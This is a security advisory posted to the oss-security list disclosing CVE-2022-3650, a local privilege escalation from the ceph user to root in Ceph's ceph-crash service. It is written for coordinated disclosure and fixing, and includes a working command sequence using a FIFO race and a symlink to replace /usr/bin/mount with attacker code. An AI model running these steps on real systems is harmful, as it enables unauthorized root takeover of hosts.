Date: Tue, 25 Oct 2022 12:00:11 +0200 From: Matthias Gerstner <mgerstner@...e.de> To: oss-security@...ts.openwall.com Subject: ceph: ceph-crash.service allows local ceph user to root exploit (CVE-2022-3650) Hello list, this report is about a ceph user to root privilege escalation in the ceph-crash systemd service which is part of the ceph-base component of the Ceph distributed storage system project . This report relates to Ceph version 16.2.9. The Vulnerability ================= The ceph-crash.service  runs the ceph-crash Python script  as root. The script is operating in the directory /var/lib/ceph/crash which is controlled by the unprivileged ceph user (ceph:ceph mode 0750). The script periodically scans for new crash directories and forwards the content via `ceph crash post`. This constellation is subject to security issues that can allow the ceph user to either: 1) post arbitrary data as a "crash dump", even content from private files owned by root. The consequences of this are not fully clear to me, it could be an information leak if the security domain of "root" on the system is different to the security domain of wherever the ceph-crash data will be sent to / accessible afterwards. The `ceph crash post` command expects JSON input, however, thus the degree of freedom for this is reduced. 2) cause a denial-of-service by feeding large amounts of data into the `ceph crash post` process. This can cause high amounts of memory and CPU consumption. By placing a symlink or FIFO into the directory instead of an actual file, the script can be made to read from a device file like /dev/random or to block forever. 3) cause a local ceph to root user privilege escalation by tricking ceph-crash to move a ceph controlled file into a privileged file system location. Item 3) is the most critical of these possibilities. The ceph-crash script basically does the following at a regular interval (by default every 10 minutes): a) it iterates over all sub-directories of /var/lib/ceph/crash and for each sub-directory it does the following: b) it checks whether <crash>/meta is a regular file; if not then the dir is skipped. c) it checks whether <crash>/done is a regular file; if not then it sleeps for one second and checks again; if still not then the dir is skipped. d) it feeds the content of <crash>/meta to stdin of the command line timeout 30 ceph -n <auth> crash post -i - e) only if the crash post succeeded (exit code 0) will the script attempt to perform os.rename("/var/lib/ceph/crash/<crash>", "/var/lib/ceph/crash/posted/<crash>") The sleep of one second in step c) makes it easier winning the involved race condition. A possible approach for a compromised ceph user account for exploiting this is the following: - create a fake crash directory named 'mount', containing an empty 'meta' file: ceph$ mkdir /var/lib/ceph/crash/mount ceph$ touch /var/lib/ceph/crash/mount/meta - wait for c) to happen i.e. ceph-crash sleeps for a second to wait for the "done" file to appear. This can be done in an event triggered fashion by using the inotify API to detect the service opening the crash directory. While ceph-crash is sleeping create the "done" file and replace "meta" by a FIFO: ceph$ touch /var/lib/ceph/crash/mount/done ceph$ rm /var/lib/ceph/crash/mount/meta ceph$ mkfifo /var/lib/ceph/crash/mount/meta On success the "ceph-crash" script, upon returning from the one second sleep, will block on the FIFO until the attacker is writing data into it, giving the attacker enough time to stage the rest of the attack (30 seconds, because of the `timeout` frontend command used in step d). - while ceph-crash is busy forwarding data to `ceph crash post` the ceph user can replace the "mount" directory by a regular file and prepare a symlink attack: ceph$ mv /var/lib/ceph/crash/mount /var/lib/ceph/crash/oldmount ceph$ echo 'echo evil code' >/var/lib/ceph/crash/mount ceph$ chmod 755 /var/lib/ceph/crash/mount ceph$ mv /var/lib/ceph/crash/posted /var/lib/ceph/crash/posted.old ceph$ ln -s /usr/bin /var/lib/ceph/crash/posted # unblock the ceph-crash script ceph$ echo "$FAKE_JSON_DATA" >/var/lib/ceph/crash/oldmount/meta If this succeeds in time then during step e) the ceph-crash script will rename the ceph controlled "mount" file to /usr/bin/mount, thereby replacing the system binary "mount" by the ceph controlled script. Any root process invoking this is then executing exploit code. Any other binary could be used for this, or also configuration files in /etc that could allow to crack the system. Because /var/lib/ceph/crash is not world-writable and has no sticky bit, the Linux kernel's symlink protection is not coming to the rescue in this constellation. A precondition is, however, that the file system /var/lib/ceph is the same file system as the target directory for the `rename()`, because `rename()` does not work across file system boundaries. For many default Linux setups this is the case though. Reproducer ========== Attached to this e-mail is a proof of concept exploit script that demonstrates the vulnerability. Running the script with ceph:ceph credentials pretty reliably replaces /usr/bin/mount by a ceph controlled script. Since ceph-crash only executes its routine every 10 minutes it can take a bit of time to succeed if the race is not won, but it is well within reach to succeed in a real world scenario. I did not test this in a real world Ceph setup. For testing purposes I let the invocation of "ceph crash post" always succeed. From reading the Python code executed by "ceph crash post" I believe that the JSON data I use in the exploit script should be accepted and lead to a zero exit code. Possible Fix ============ To fix the issue the simplest route I see would be to execute the ceph-crash script also as ceph:ceph. If this is not possible for some reason though then a careful selection of system calls and/or temporary privilege drops will be necessary in the ceph-crash script to avoid any symlink attacks and other race conditions on file system level. The systemd service, the ceph-crash script and also the directory permissions for /var/lib/ceph/crash are not specific to SUSE packaging but are already found in the upstream sources. Also Fedora Linux ships with the same setup, for example. I reported this finding to the Ceph security mailing list a while ago. Red Hat assigned the CVE for the issue. I did not get a confirmation from their side yet whether the issue could be reproduced with a real world Ceph setup. I also didn't hear about upstream's plans and schedule for an actual bugfix. Timeline ======== 2022-09-22: I reported the vulnerability to security@...h.io suggesting an embargo period of 14 days. 2022-10-10: I provided some additional information to security@...h.io suggested two more weeks of embargo, because I wasn't available for some time and things didn't progress much. 2022-10-21: I inquired security@...h.io about the state of their analysis and bugfixing. I received the CVE for the issue. They suffers some delays in handling the issue but we agreed to publish the full report today anyway. : https://github.com/ceph/ceph : https://github.com/ceph/ceph/blob/85454b3262ef887aacb8f54f23646d6f163df2ee/systemd/ceph-crash.service.in : https://github.com/ceph/ceph/blob/85454b3262ef887aacb8f54f23646d6f163df2ee/src/ceph-crash.in Best Regards Matthias -- Matthias Gerstner <matthias.gerstner@...e.de> Security Engineer https://www.suse.com/security GPG Key ID: 0x14C405C971923553 SUSE Software Solutions Germany GmbH HRB 36809, AG Nürnberg Geschäftsführer: Ivo Totev, Andrew Myers, Andrew McDonald, Boudien Moerman View attachment "ceph_crash_exploit.py" of type "text/plain" (3645 bytes) Download attachment "signature.asc" of type "application/pgp-signature" (834 bytes)
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